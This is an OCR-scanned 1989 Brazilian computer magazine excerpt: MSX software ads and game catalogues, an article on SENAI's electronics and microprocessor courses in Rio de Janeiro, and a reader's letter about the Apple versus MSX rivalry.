Sao mais de 1000 softs a sua escolha.

Conheca o Sistema Integrado Juridico.

Saiba o que é Franchising e como funciona.

Solicite o seu catalogo inteiramente gréatis. Aproveite as pro-
mocoes de fim de ano e participe do Super Sorteio de Natal.

Na compra de 1 Drive:5 1/4 ou 3 1/2 DDX, vocé leva gratis
50 jogos + 20 aplicativos a sua escolha.

CONSULTE-NOS

ANDRE ¢ JORGE » RICARDO

ASSESSORIA ESPECIALIZADA EM HARDWARE,
SOFTWARE E PERIFERICOS PARA AMIGA.
APLICATIVOS E JOGOS

RUA DOUTOR BACELAR, 593 - VILA MARIANA
(Préximo ao Metrd Santa Cruz)
CEP 04026 - SAO PAULO-SP

-—= REDI-UNIVERSOFT LTDA.
Rua Cons. Brotero, 589 Conj. 42
re I (a 200 metros do metré Mal. Deodoro)
CEP 01154 Santa Cecilia - Sao Paulo-SP

Sl Tel.: (011) 825-5240

Na Scorpion vocé encontra: Drives 5 1/4, Impressoras, Disquetes 5 1/4 & Fitas. Temos ainda as Giti-
mas novidades em softwares para MSX.

Jogos NCz$ 300 = Jugns 2.0 NCz$ 9,00 = Jogos megaram NCz$ 9,00 = Jogos especiais NCz$ 9,00
= Aplicativos NCz$ 2500

Promogao: Ma compra de 10 jogos vocé leva mais 2 gratis.

Pedido minimo NCz$ 25,00 em programas. Pedidos acima de NCz$ 150,00 em programas n&o co-
bramos disquete.

SCORPION INFOMATICA LTDA.
Rua Ernesto Xavier Krone, 78 CEP 11085 Sabod Santos-SP
Tel.: (011) 30-5870

JOGOS APLICATIVOS E UTILITARIOS

Todos os softwares gque vocé procura pelo menor
preco. Temos cx. disco 5 1/4 e 3 1/2

solicite o seu: ) i 0, descon
o jornal de micro Cx. Postal 11743 CEP 05030 apresentando
informatica. Sao Paulo-SP este andncio

E NAO PERDE POR ESPERAR

R

MANTENHA A SUA CRIATIVIDADE NA
LINHA

GRAPHOS PRO, o Editor Grafico
definitivo para a linha MSX.

REVENDEDORES Zochio Representaces Ltda.
AUTORIZADOS: Paulisoft Informatica Leda.
Bisccwery Informética Ltda.
isc

ELETRONICA

® Suprimentos

5,770 .= Fitas/Cabos para |Impressoras/For-

mularios Continuos/Disquetes/Porta-
A Disquetes/Livros e Revistas/Jogos para

‘\Q‘? MSX (Avulsos ou pacotes)

Q B sEquipamentos
e : Computadores/Impressoras/Monito-
* Assisténcia Técnia res/Drive MSX/Kit para Drive DDX/Exp.
(Chamada avulsa ou contrato)

80 Colunas MSX/Video Station
Compra e venda de equipamentos ATENDEMOS REVENDA
MSX usados

Atendimento de Segunda a Sabado

Rua Domingos de Mor
Cj. 33-B — CEP 04010 A
Vila Mariana — SP
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s 4legal, vocé pirou. Vocé se encheu
de conhecer o computador s6 por
fora, e como dizem que quem vé ca-

©  ranao vé coracdo, vocé resolveu co-
locar a massa encefalica pra funcionar e de-
cidiu estudar o funcionamento do dito cu-
jo.

Tudo bem, uma bela decisa@o, mas e
dai?. Tudo que vocé sabe de eletricidade &
que ela déa choque. O que vocé vai fazer?
Comprar um caminhao de livros e estudar
tudo sozinho? (na lingua nativa tem pouco
ou quase nada escrito).

Vocé pode comecgar pensando que,
em alguma revista, jornal, panfleto ou hora-
rio eleitoral vocé ira descobrir algum curso
de hardware ou eletronica, ou periféricos,

38 MICRO SISTEMAS

Sylvio Messias Morais

que seja sob medida para vocé. Depois de
ler diversas publicagoes, perguntar a enge-
nheiros e técnicos e andar horas e dias pe-
lo deserto do Rio de Janeiro, eu descobri um
deles: o SENAL

O Senai, que ja tem uma tradicao no-

ensino técnico industrial, ha trés anos ini-
ciou aimplantagéo (pode-se dizer pioneira)
de cursos de hardware.

No Rio de Janeiro, 0 Senai € uma es-
trutura complexa ligado a Federacéo das In-
dustrias do Estado do Rio de Janeiro, FIERJ,
que é formada por representantes dos mais
diversos seguimentos do setor industrial do
estado.

Na unidade do Senai conhecida co-
mo CFP-2, Escola Odvaldo Filho, localizada

| Visdo ampliada da
estacdo de trabalho,
= | com a placa especifica
i para o curso de
| microprocessador. Na
parte inferior o teclado
alfanumérico para
entrada da linguagem,
acima dele o display
(tipo LCD) e seus
componentes,
memorias,
controladores, etc.

na Praca Natividade Saldanha 19 em Ben-
fica, destaca-se o setor de Instrumentagao
(especifico para controle de processos) e
Eletronica. Esta Gltima esta montada e ain-
da recebendo investimentos para o desen-
volvimento de treinamento e formagao pro-
fissional na area de eletronica (e/ou hardwa-
re). Foi a essa escola que me dirigi a fim de
obter um minimo de informagodes sobre o
ensino de eletronica ali praticado. O que en-
contrei esta descrito no relato que faco a
seguir.

Quando cheguei na Escola Odvaldo
Filho, deparei-me com um grande prédio,
aparentemente muito bem dividido e orga-
nizado. No terceiro andar onde funcionam
os laboratorios de eletronica, tudo parecia
estar na mais perfeita ordem: chao limpo,
paredes conservadas, etc. Prontamente fui
atendido e colocado em contato com dois
engenheiros que se dispuseram a me dar as
informacdes necessarias ao meu trabalho
de pesquisa. Sao eles o Orlando Clapp Fi-
Iho e o José Carlos Paiva Gomes.

EQUIPAMENTOS E LABORATORIOS

Resolvi submeter a minha curiosida-
de, sobre os cursos do Senai, aos itens que
escrevi no MS Convida da edi¢ao 87 de MI-
CRO SISTEMAS. Segundo o engenheiro Or-
lando, as aulas sao no sistema “hands on’,
isto & “mao na massa’ Todas as aulas sao
dadas diretamente nos laboratorios e sua
proporcao teoria/pratica varia entre 50% -
50%, nos cursos de eletronica basica, e até
80% - 20% nos de microprocessadores.
Seu material de apoio & constituido basica-
mente por apostilas criadas pela sua equi-



pe de professores, formada por engenhel-
ros e técnicos, que recebem guando entram
no Senai uma espécie de adaptacdo aos
seus métodos e objetivos.

Nos laboratérios sdo colocados 2 alu-
nos por bancada e cada laboratorio tem 6
bancadas, perfazendo assim um total de 12
alunos por turma. Um nldmero bastante sa-
tisfatdrio, considerando-se que as salas sd0
espacosas e bem divididas.

Cada bancada é equipada com um kit
de material (no qual tudo funciona) que é
composto por um protoboard (estagao de
trabalho utilizada para todas as montagens
experimentais). Este protoboard & de maior
tamanho que o convencional e permite uma
melhor visualizagéo do que esta sendo fei-
to. Dentro do kit encontram-se também to-
dos 0s componentes necessarios parauma
montagem, tais como resistores, capacito-
res, fonte de alimentacao, etc. Nada & pior
para o professor do que ter que sair como
um doido atrés de uma peca desaparecida
do kit.

No kit, cada componente tem o seu
lugar. A manutencao dos equipamentos de
laboratério funciona por meio de back-up,
isto & sempre que um equipamento pifa, ele
& imediatamente substituido por um simi-
lar. O setor de manutencao tem 48 horas pa-
ra resolver o problema do defeituoso.

A ELETRONICA DIGITAL

Dos cursos, 0 mais simples e também
0 mais procurado, é o de Eletronica Basica
1. Ele tem como objetivo a revisao do progra-
ma de eletricidade e a introducao a eletrd-
nica analogica, com a caracterizagdo dos
componentes e suas aplicagbes. Em sua
vasta carga horaria (400 horas), sdo desen-
volvidas as habilidades na operacao de os-
ciloscépio, multimetro, geradores de sinais,
etc, além da préatica e analise de circuitos
simples. O seu consistente programa consta
de 70 itens, onde cada um é dividido em
teoria e pratica.

Atualmente, com uma carga de 500
horas, o curso de Eletrénica Basica ll tem a
sua disposic¢ao a grande novidade do Senai:
seu laboratorio. Para equipa-lo, foi feito um
interessante acordo com a DEGEM System,
que € uma empresa israelense na area de
eletronica digital. Este acordo permitiu a
aquisicao de uma moderna tecnologia de
ensino computadorizada, onde os postos
de trabalho, isto &, as bancadas, s3o ligadas
em rede e supervisionadas por uma unida-
de central, um PC da Monydata. De acordo
com o engenheiro Orlando, s6 o Senai de-

tém uma tecnologia de ensino em eletroni-
ca tao avangada aqui no Brasil.

O sistema da DEGEM, o EB-2000, é
composto por um master board, a interfa-
ce e o software. Este master board & um pro-
toboard inteligente, isto &, ele é microproces-
sado. Isto permite o gerenciamento pelo mi-
croprocessador das experiéncias que o alu-
no esta fazendo. O master board, funciona
por intermédio de placas de circuito cam-
bidveis, mudadas em funcao do que se de-
seja estudar.

0O master board pode funcionar tan-
to ligado ao sistema {interface e computa-
dor), guanto individualmente. Ele pode simu-
lar defeitos randdmicos no circuito monta-
do, para testar a habilidade do aluno em
detecta-los bem como a suarapidez. Em ca-
da master board, é colocado um aluno e se-

Os cursos de Técnicas Digitais |, com
100 horas de carga horaria, tém como pro-
grama a introdugao dos conceitos basicos
da Algebra Booleana, aritmética binaria e
codigos, desenvolvimento e anélise de cir-
cuitos combinacionais tipicos e suas apli-
cacoes. Em Técnicas Digitais Il, 120 horas,
objetiva-se a implementacéo e analise de
circuitos seqUénciais variados, aplicagoes
tipicas de registores de deslocamento, mul-
tivibradores, contadores, conversores A/D e
D/A.

Os cursos de Microprocessadores
também divididos em dois médulos de 100
e 120 horas, tém seu ensino baseado no
EB-2000. Seus programas envolvem a ar-
quitetura de um microcomputador, sua lin-
guagem de programacao, tipos de memo-
ria e suas caracteristicas, Interfaces (para-
lelas e seriais), interrupcoes, controladores,

Osciloscopio a direita,
a esquerda gerador de
funcoes e
freqliencimetro. Ao
centro a estagao de
trabalho da Degem
System, a direita o
teclado de 12 digitos
para o controle das
funcdes, acima o cabo
de ligagdo com a
interface; abaixo, a
M| placa de experiéncias,
é‘q 4 esquerda dois botées
& | de regulagem de

& tensao.

gundo o engenheiro José Carlos ele contri-
bui em muito para aumentar o rendimento.

Por intermédio da interface, os mas-
ter board (em nimero de 12), sao gerencia-
dos pelo software, gue da todo o contrOle ao
instrutor, nao sé de toda a turma como de
cada aluno individualmente.

Por exemplo: o instrutor tem como in-
terferir na experiéncia que cada aluno esta
executando, complicando-a ou facilitando-
a. Ele também pode saber em que nivel (0s
niveis podem ser: experiéncias, testes ou
maratona de testes) cada aluno esta traba-
Ihando e ha quanto tempo. As experiéncias
podem ser desde semicondutores até 1ogi-
ca combinacional ou seqéncial.

e muitas outras coisas mais que so ao vivo
para saber.

DESAMPARADOS UNIVOS

Uma boa noticia para o pessoal que
mora fora do eixo Rio-Sao Paulo e que se
sente desamparado pela falta de escolas
modernas, € que esta tecnologia, de ensi-
no computadorizado, esta sendo implanta-
da em outras escolas do Senai, como Fri-
burgo, Petropolis e Resende. Nelas o0s téc-
nicos ja estao sendo treinados para a inau-
guragao no primeiro semestre de 1990. Ou-
tros estados, como Sao Paulo, Rio Grande

do Sul, Minas Gerais e Santa Catarina, tam- p-

CHEGOU O CLUBE COMPATIVEL COM TODOS OS MICROS [eifse pkirrezploly

e DIGITAL BOYS CLUBE °

Nao deixe seumicro no “clube dosrejeitados”. Venha logo pro DBC:
um clube de servigos criado para atender as suas necessidades
reqis: informacao e intercdmpio com outros usuarios.

Nossos servigos:

DBC AMIGOS — para acabar com essa historia de abandono e so-
lid@o Inclue um caidlogo com fodos os associados e um suplemento

mensal com as cartas recebidas.

DBC NEWS — uma revista mensal feita s para o seu equipamento,
DBC SOS — um servico de assessoria individual aos nossos associa-

dos.

DBC SHOPPING — urn servico para facilitar suas compras. Inclue um
utilissimo guiamensal com os pre¢os, langamenios e enderecos das
empresas especializadas no seu equipamento.

DBC EMPREENDEDORES — uma sensacional iniciativa do DBC. Espe-
cialmente dedicado aos associados de espirito empreendedor que
sonham comegar um negécio na area de micro-informatica.

E o DBC dando uma forga na criagdo de um mercado mais criati-
VO, SErio e competente.

USUARIO DO ANO — ainda este ano nossos socios estarGo elegen-
do os melhores de cada linha.

DIGITAL BOYS CLUBE

Rio de Janeiro-RJ
Tel.: (021) 273-1346
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bém contardao com esta tecnologia. Na me-
dida em que novas placas serao adquiridas,
o programa do curso computadorizado se-
ra estendido a essas escolas.

Na conversa que tive com os enge-
nheiros Orlando e José Carlos, para minha
surpresa, soube da procura cada vez maior
de alunos universitérios e de escolas técni-
cas aos cursos do Senai (n&o sO na area de
eletrénica). Por coincidéncia pude conver-
sar com alguns universitarios e constatar
que todos procuram os cursos do Senai pela
sua grande quantidade de aulas préaticas e
por seu bem equipado laboratério.

Alguns deles, como Alcides - aluno da
Nuno Lisboa, reclama da pouca quantida-
de de aulas praticas do seu curso de enge-
nharia (1 por semana, segundo ele proprio).
Ja o Jayme da Gama Filho veio para o Se-
nai somente em busca de mais aulas
praticas.

Quase todos os alunos com quem
conversei ja tiveram alguma experiéncia de-
sagradavel com aqueles “cursinhos” gue
prometem tudo, e que freqientemente re-
sultam num amontoado de gente analisan-
do um circuito (em uma Unica placa) e com
um equipamento de pouca confianca. Cla-
ro que isso reflete o estado de desinteres-
se de Nosso ensing, Pois se em uma univer-
sidade os laboratérios quase sempre sao
precérios, (salvo poucas excegoes) imagine
nos cursinhos em que nao ha nenhuma fis-
calizacao e s&o puro comércio.

Nao se deve pensar no ensino como
um investimento, pois num investimento
imagina-se o retorno (lucro) a curto e médio
prazo. A formagao cultural de um pais nao
deve ser encarada demagogicamente (es-
tamos em tempo de eleicdes) como um
simples investimento, ou amanha nao colhe-
remos 0s seus generosos frutos, vide Japao.

NOVIDADES PARA O ANO QUE VEM

Em andamento, presumivelmente pa-
ra Marco de 1990, estdo sendo implemen-

Visdo da sala de aula,
ao fundo a unidade
central, umPC e a
interface para a
ligacao das 12
estacdes de trabalho
(protoboard).

tados cursos na area de manutencao de Pe-
riféricos. Em manutencao de periféricos, se-
rao abordados manutencao de drive 5 1/47,
impressora matricial, monitor monocroma-
tico e talvez até modem.

Os cursos no Senai dependem das
necessidades do mercado e isto inviabiliza,
ou nao, os diferentes tipos de projetos. E pre-
ciso considerar ainda gue, como enfatizou
o engenheiro Orlando, nZo € muito facil con-
vencer o fabricante a fornecer informagao
sobre 0s seus equipamentos. Na opiniao de-
le, isto acontece pela falta de conhecimen-
to do que fabricam e conseqglentemente
por nao terem muita informacao a fornecer.

Isto se justifica nos curtos prazos de
garantia fornecidos, o que em relagao ao
pre¢o do equipamento vendido € um total
absurdo. E o problema da pirataria do hard-
ware, quando ninguém (nem o fabricante)
sabe muito sobre o equipamento. E por es-
se motivo gue o Senai so aceita equipamen-
tos para estudos, gue venham totalmente
acompanhados de sua documentagao téc-
nica e juridica.

Mas a grande novidade para o ano de
1990 € um curso técnico especial de habi-
litacao plena. gue terd um programa bastan-
te complexo envolvendo eletronica, dese-
nho técnico, informatica, mecanica (para in-
formatica € claro), organizacao e normas, in-
glés tecnico, alem de dar grandes pincela-
das na matematica e na fisica. Este curso
pelo gue pude constatar, sera analogo ao de
Tecnologo em Processamentos e Dados
oferecido pela PUC/RJ, com a diferenca que
o do Senai tera énfase total para o hardwa-
re. Na opini2o do engenheiro Orlando, a im-
portancia destes tipos de cursos € que eles
suprem a grande demanda de mao de obra
exigida pelo crescente mercado.

So nos resta aguardar essas novida-
des e torcer para gue venham logo.

Fotos: Manuel Neves
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Em primeiro lugar quero parabeniza-los
pela excelente qualidade das materias publi-
cadas (sem puxar saco), pois precisamos de
publicagdes que realmente tenham nivel e
qualidade.

Tenho acompanhado através de vérios
nimeros destarevista, uma briga, besta diga-
se de passagem, entre usuarios de Apple e
MSX; aignorancia de ambos chegou a um pon-
to que eu diria ser, no minimo ridiculo, pois nun-
ca, ninguém, em lugar algum e em situagao ne-
nhuma podera determinar se ESTE ou AQUE-
LE micro & melhor ou pior que o outro.

Tenho notado uma “pontinha” de um
mixto de raiva e cilime dos usuarios da linha
Apple em relagao aos da linha MSX, e um cer-
to ar de superioridade nos usuarios da linha
MSX. Vejamos :

Qual dos dois é o mais rapido? Apple ou
MSX?

R.: Velocidade indica que um € melhor
que o outrg? Todas as aplicagdes de um micro
requerem velocidade?

Para qual dos dois existern mais softwa-
res disponiveis no mercado?

R.: Vocé é proprietario de todos os soft-
wares existentes no mercado para o seu micro?
Todos os softwares existentes para o seu mi-
cro atendem suas necessidades?

Qual dos dois pode colocar Sprite na
tela?

R.: MSX. Sprite é tudo em programas
graficos, necessitamos de sprites em bancos
de dados, planilhas, processadores de textos,
emuladores... -

Qual dos dois possui rotacao?

R.: Apple Rotacéo € tudo em materia de
graficos? Nao poderia ser executada por uma
rotina do usuério? Alguém rotaciona um regis-
tro de arquivo? Vocés conhecem algum editor

de texto gque saia por ai rotacionando
paragrafos?

AH! Mas para qual dos dois existe mais
periféricos disponiveis no mercado?

R.: Quais periféricos além dos “‘comuns’,
fazem um micro ser melhor ou pior gue o ou-
tro. Para ambos existem: drive, impressora, vi-
deo, digitalizador de imagem, plotter..Vocé ja
tem todos esses? Existem ainda pelo menos
uns cinco a mais para cada linha.

0 MSX ndo passa de um videogame
sofisticado.

R.: Um micro que possui um acervo de
pelo menos oito linguagens de programacao,
dois sistemas operacionais, trés canais de som,
guatro modos de tela, 64 Kbytes de memoria,
formatacdo de disco compativel com IBM
PC/XT, conta com programas do nivel do
WORDSTAR DBASE, SUPERCALC, EVA, PAGE
MAKER, NEMESIS, ELITE... nao pode ser cha-
mado de videogame.

0O APPLE morreu ha muito tempo.

R.: Nao creio gque um micro gque tem
urna das maiores bases instaladas no mundo,
com um acervo de programas invejavel, com
média qualidade grafica, um nimero de peri-
féricos pra maluco nenhum botar defeito, que
aceita varias linguagens de programacao e tra-
balha sob CP/M, tenha morrido.

Acho também que € simplesmente ri-
diculo (sem citar nomes) o que foi dito por um
TARAPPLE (tarado+apple), ao afirmar que “o
MSX esta com os dias contados, deixa o Ami-
ga comegar a ser produzido no Brasil” Se de-
pender disto, morreremos antes de 0 MSX dar
o seu (ltimo suspiro, porém nao vejo relagao
alguma entre o MSX e um Amiga. Por outro la-
do os TARAPPLES e os MSXOUCOS
(MSX +loucos) iriam iniciar uma nova briga com

os FELIGAS (felizes possuidores do Amiga).

Sinceramente acho que cada usuario
deveria se conscientizar de gue nao podemos
comparar umamaguina com outra, se ambas
s3o distintas. O melhor micro gue existe & aque-
le que satisfaz o seu proprietario. O que faz um
micro ser “O MELHOR" & quem o programa.

Para finalizar:

0O PC possui 0 maior acervo de softwa-
res, periféricos, linguagens, programadores,
software-houses especializadas, oficinas de
manutengao, fabricas e maguinas instaladas
do que qualquer outro micro de que se tem no-
ticia, porém muita, mas muita gente mesmo,
compra por exemplo um CRAY, MACINTOSH,
TK 90, MSX, APPLE..., Por que sera?

Nao é tudo isso que faz um micro ser
"0 MELHOR™?

Definitivamente, nao!

0 que faz um micro ser o melhor, é ele
ter poder de processamento compativel com
a necessidade do seu proprietario e ter um
software que resolva os problemas destinados
a0 Mesmo.

Espero que daqui para frente, vocés en-

tendam isto e ndo mais ocupem 0s espagos
desta conceituada revista com um monte de
‘baboseiras sem fundamento e que nao os le-
vara a lugar algum.
% A propdsito, tenho um micro TRS 80, cinco
MSX e estou comprando um PC XT. Minha fa-
milia possui trés lojas de confecgéo, e o pro-
cessamento das mesmas sao feitos em um
TRS 80 MODEL | (viu).

Abragos ao pessoal darevista e descul-
pas aos TARAPPLEs E MSXOUCOs, por eu me
intrometer na “briga” de vocés.

Adalberto Silva - Pca. Sao Salvador, 41/403 -
Campos - R] - 28010

para a linha MSX

Nczs 440,00

= BAHIA

U I OED

EVA- 0 soft do_ano!
Sensaclonal Editor de Vinhetas Animadas

Disco e manual incluidos

Rua da Poeira, 89/201 Ed.Lena
Salvador-Ba CEP u400ud
Fone: (0711521-0363

CaixaPostal 921+ CEP 40001

co. Lom

Ncz$ 80,00

ndo Ser.

desenhos variad
finidos por voc

Este soft

=
DESIEMERE
mE | =

Ncz$ 80.00

LsD- 0 soft alucinante!
Depois %ele_a cabeca da sua impressora

mais a mesma; ela comecara &
compor letras especiais.de
gs, que poderdo ser de-

e compatfvel com arquivos
de gualguer processador de
com arquivos Dbase,
Disco e manual <incluidos

tamanhos e

texto {2l

A PARTIR DE Hcz$ 4,00

TODOS 05 JOGOS PARA A LINHA MSX. INCLUSIVE 0S RECENTES LAN;&NENTDS

CARCARA- Pega, mata e come
Poderosissimg coplador de

Com Ele 90% dos disquetes bloqueados
gnder'é'o ser copiados em apenas 40 segun -

Disco e manual incluidos

Solicite gratuitamente o nosso CATALOGO ELETRONICO
enviando-nos um disquete para efetuarmos a gravacad,
ou. se preferir, o posso catalogo convencional.

* Catalogo Eletrdnico & uma exclusividade da BAVI
com patente requerida no INPN.

!
trilhas de dis-

COMPACTO- Redutor de screen 2 que trans-
forma uma tela Inteira numa pequena tela
ou shape. Total compatibllidade com: EVA,
Grafos II1 e Page Maker.
Disco e manual incluldos.
Ncz$50,00

CATALDGO ELETRGNIO- A melhor %
tica maneira de vocé escnlherecmgéﬁ gg?t‘
Envie-nos um dico 5 1/4 formatado e rece-
ba Inteiramente GRATIS  a mais

noy
sensagdo do momento. oa




DRIVE PARA MSX

Marca DDX 5 1/4 DFe DD 360 Kb 3 1/2DFe DD
720 Kb, ambos com garantia de 180 dias e as-
sisténcia técnica permanente. Promogdo: na
compra de drives MSX vocé recebe gratis uma
caixa com 10 disquetes coloridos.

dBASE |l PLUS NOVA VERSAO e SUPER CALC 2
Qualidade Practica: acompaha manual comple-
to com namero de série para suporte. 170 BTNs

ADVENTURES NACIONAIS
Qualidade Panzsoft Redi-Universoft. Pack 401:
Floresta Negra, Monstros da noite 1, Krull, High-
land, Roma, Indiana Jones zero. Pack 402:
Monstros da noite 2. 14 BTNs cada pack.

REDI-UNIVERSOFT INFOR

SUPER JOGO

NEMESIS ® GAUNTLET * ELITE * DESESPERADO = LA ABADIA DEL CRIME e SILENT » SHADOW ® LA HERANCIA © FIRE TRANT.
(Um jogo por disco) Promogao: na compra de 2 super jogos escolha um gritis 8 BTNs cada.

SUPER UTILITARIOS E APLICATIVOS

Antes do nome, poderao ser gravados até 6 programas por disco, restante somente 1 por disquete.

ZAPPER | » WORDSTAR 40 » WORDSTAR 80 = AGENDA = CONTROLE DE ESTOQUE = CONTABILIDADE * MUMPHS » MALA DIRE-
TA = ED MUSIC + 50 MUSICAS = UNITELA + 40 TELAS e CONTAS BANCARIAS « CONTROLE DE CAIXA » CONTAS A PAGAR -
= FOLHA DE PAGTO. » CONTAS A RECEBER = PRINTX PRESS * DRAW & PAINT * GRAFIC MASTER e VIDEO TEXTO PROGRAM.
Promogao: na compra de 2 programas escolha um gratis. 8 BTNs cada.

EDUCATIVOS

Pack 701: APRENDENDO A CONTAR * O CIRCO ® ENCANTO ¢ MAIOR MENOR ® MENTALIZAR » ANAGRAMA 1 « ANAGRAMA
2 » MAGO VOADOR  ABELHA SABIA 3 » MACACO ACADEMICO. Pack 702: MATRIZES COMPLEXAS e ELETRICIDADE * GEOME-"
TRICA * QUIMICA ® MATEMATICA 1 » GASES @ OTICA © FISICA 1 » CURSO DE INGLES 1 * CURSO DE BASIC 4. Pack 703: PESCA-
DORESPACIAL 1 = MOTORISTA SIDERAL 1 « MOTORISTA SIDERAL 2 » ABELHA SABIA 1 = ABELHA SABIA 2 « MISSAO RESGATE
1 * MISSAO RESGATE 2 » MAGO VOADOR 2  PALHAGO 1 * PALACO 2. Pack 704: MAPA GAME = FISICA (EXERCICIOS) * BER-
NARDO NA FAZENDA = FIGURAS GEOMETRICAS © GELULAS 1 » CELULAS 2 = OTICA 2 » GASES 2 » BANDEIRAS DA EUROPA.
Pack 705: O FIRMAMENTO ARTIMO = O SOL GEOMETRIA 2 = SELVA DE PALAVRAS * MULT| PUZZLE » 4 OPERAS. MAT. ® ME-
MORY GAME = TESTE DE INTELIGENCIA » MEMORIA DE NUMERQS. 11 BTNs cada Pack e 6 BTNs para pedido individual. Promo--
¢@0: na compra de 2 Packs escolha um gratis. Ndo vale para pedido individual.

APLICATIVOS E UTILITARIOS

Pack 501: AGENDA DOMESTICA » BANCO DE DADOS ¢ MALA DIRETA » CONTROLE DE ESTOQUE = UNIWORD 2.0 = ED. SPRITE
1 = PENCIL SEIG © CONTAS A PAGAR/RECEBER e ED. MUSICA * PLANILHA MSX. Pack 502: AGENDA ANUAL * BANCO DE DA~
DOS = MALA DIRETA » CONTROLE DE ESTOQUE * MSX WRITE = UNI-SPRITE » EDDY GRAF. 2 » CONTAS A PAGAR/RECEBER
* STUDY 67 = PLANILHA UNI. Pack 503: AGENDA DOMESTICA 2 = CONTABILIDADE DOMESTICA » CONTROLE BANGARIO BIOR-
RITIMO * ORGAO ELETRONICQ  ED. SPRITE 2  GRAFIC ARTIS * UNI-ART » SUPER SINTH « CHEESE. Pack 504: AGENDA DO-
MICILIAR 3 » CADASTRO SOFT » MASTER VOICE ® SIMPLE ¢ CAIXA MUSICAL ® PRINTER (Tela) * MINI-PLANILHA ¢ PLANILHA
DE CALCULO-SONY GAME DESIGNER ¢ ED. CARACTERES. 11 BTNs cada Pack e 6 BTNs para pedido individual. Promog&o: na
compra de 2 packs escolha umn gratis. Ndo vale para pedido individual.

SUPER PACKS

Pack 301: ACE OF ACE ® KRAKOUT e CAPITAO SEVILLA 2 » HEDDOX ¢ DOM QUIXOTE » CRAZ CAR. Pack 302: DEAT WHISH
3 » JAMES BOND = INDIANA JONES = FRED HARDEST 1 = GAME OVER 1 * REX HARD. Pack 303: FRED HARDEST 2 = ROCK.
O LUTADOR * GAME OVER 2 » TURBO GIRL = HUNDRA = FERNAN BASKET 2. Pack 304: AFTEROIDS » VENON = ARKDS 1 BA-
NANA = MUNDO PERDIDO = HOCKEY. Pack 305: ARKOS 2 » ALBATROZ (Golfe) * ALEHOP * AMALUROTE = JORNADA AD CEN-
TRO DA TERRA  CANWOF WORDS. Pack 306: OCEAN ® ARKOS 3 » CAPITAO SEVILLA * TT RACE ® BUBLER. Pack 307: HAUN-
TED HOUSE » BLOW-UP * GUTT BLASTER © PINBALL BLASTER  MAZE MASTER = VORTEX RAIDER. 8 BTNs cada Pack. Promo-
cao: na compra de 2 super packs escolha mais um gratis.

Indigue o ndmera ou nome do produto em uma folha de papel e envie anexo um Che-
que Nominal e cruzado & Redi-Universoft, Caixa Postal 1678 CEP 01051 S0 Paulo-
5P, ou rua Cons. Brotero, 589 conj. 42 — Santa Cecilia CEP 01154 Sao Paulo—SP

Atencado: Enviar chegue em cruzados novos. O valor da BTN serd sempre o do dia pri-
meiro de cada més.

As despezas de correio s30 por conta da Redi-Universoft. O prazo de entrega dos pe-
didos sera de 20 dias. Todos os produtos Redl-Universoft tém garantia de 180 dias.
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Pack 01; DOG FLIGHTER, FISCAL DE ESTOQUE, KEYSTONE KAPERS, MR CHIN,
OLIMPIADAS 2, COELHO MALUCO, SEA, TAKUN, WINTER OLIMPIC, BILHAR.
Pack 02: TIME BANDID, SPACE BUSTER, CHOCH IN POP. EXERION 1, FUTBOL
REPLEY, HOLE IN ONE, MR WONG, FLIPER SLIPER, VIDEQ POKER, WAR HEAD.
Pack 03: CHOPTLIFTER, FLYTER, GROGS REVENGER 2, HYP SPORTS 2, LUNAR
PATROL, LE MANS 2, PADEIRO MALLICO, REGATA, THUMDERBALL, Z0IDS. Pack
04: BOX, GOONIES, GREEN BERET, HYP SPORTS 3, KING'S VALLEY, ROAD
FLYGHTER, SOCCER KONAMI, TENNIS, TIME PILOT, YIEAR KUNGFU 1. Pack 05:
BARNSTORNER,BINARI & LANDY, BOUNDER, FOMULA 1, SAMANTHA FOX,
OLIMPIADAS-1, RIVER RAID, THESEUS, TURBOAT, Z00M 909, Pack 06: BUTA-
MARL, DEMON CRISTAL, SUPER GALD, HAPFY FRET., LAZY JONES, LONESO-
NE TANK, NINJA 2 SPACE TROBLER, SURL'BA, VOLGUARD. Pack OT: ESQUA-
DRON ALRA, BLOCKED RUNNER, DAM BUSTER, DAWN PATROL, F 16 COMBAT,
JUMP JET, NORTH S HELICOR. STAR 5 SIMULAT, SIMULADOR T37 II, SPITIFIRE
40. Pack 08: ATLETIC LAND, BASEBALL, CIRCUS CHARLY, GOLFE KONAMI, MON-
PIRANGER, PING PONG, FIPPOLS, POYAN, HYPER RALLY, TWIN BEE. Pack 09:
ANIMAL WARSZAWIEN TO A KILL, BANK PANIC, CANNON FLIGTER, CHAMPION
NATIONAL, FLIPER, MJ 05, RAID ON B BAY, PYRAMID WARP. XYZOLOG. Pack
10: ARVORE MAGICA, BRIDGE, G PRIX WORLD, HALLOWEIN, KALEIDOSCOPE
5, KNIGHT LORE, MOS%UIT ATTACH, NINJA 1, SENJYO, XADREZ.. Pack 11: ALIEN
8 ANTARTIC ADVENT, EDDIE KID JUMP. STAR FORCE, PANT COR DE ROSA, MA-
XIMA, O OGRO, COLUMEHA, UNAS LAIR, VALKYR. Pack 12: CONGO BONGO, DE-
CATHLON, FROGGER 1, AUF WIEDERSE, FUNCKY MOUSE, PASTIFINGER, PIT
FALL 2, PREDIO ASSOM, ROLLER BALL, STOP EXPRESS. Pack 13: BOSCONIAN,
COPA DO MUNDO, CORRIDA MALUCA, POLAR STAR, GALAGA, HYPER SPORTS
1, OHI MUMMY, PACMAN, 10 YARD FLIGHT, NIGHT SHADE. Pack 14: BOOGA-
BOO, MY CONECTION, ELIDON, HEAVY BOX, HOLE IN-PRO, KUNG FU MASTER,
FRUIT SEARCH, SUPER TENNIS, STEP UP, VAMPIRE. Pack 15: ANIMAL BAS-
HET, CHILLER, DUNGEON MASTER, EXERION 2, GLIDER, GUNFRIGHT, PUNCKY,
SLINKEY, SPEED KING, SUPRA ROBO. Pack 16: BACK T FUTUR, BOULDER
DASH, BUCK ROGERS, BATLE CROSS, EGGY, GHOSTBUSTERS, GROGS 1,
HUNCH BACH, MOLECULE MAN, NORSEMAN. Pack 17: BATMAN, BLAGGER,
CHOROQ, CONDOR MAN, DESOLATER, FLAPPY STONES, KINASAI, PITFALL 1,
SUPER COBRA, MAGICAL KID WIZZ. Pack 18: BOARDDELD, CRAZY TRAIN,
SUP CROSS FORCE, GALAXIA, INTERN KARATE, LUTA LIVRE, MASTER OF
LAMPS, MR DO X UNICORN, PINGLIM, STONE WISDOW. Pack 19: ALIBABA E
05 40 LADROES, ARKANOID, ARMY MOVES 1, BACK GAMON, DEFENDER FOX,
GYRONDINE, OH! SHIT, THE HEIST, TIME CURB, ZANAC 1. Pack 20: FUTURE
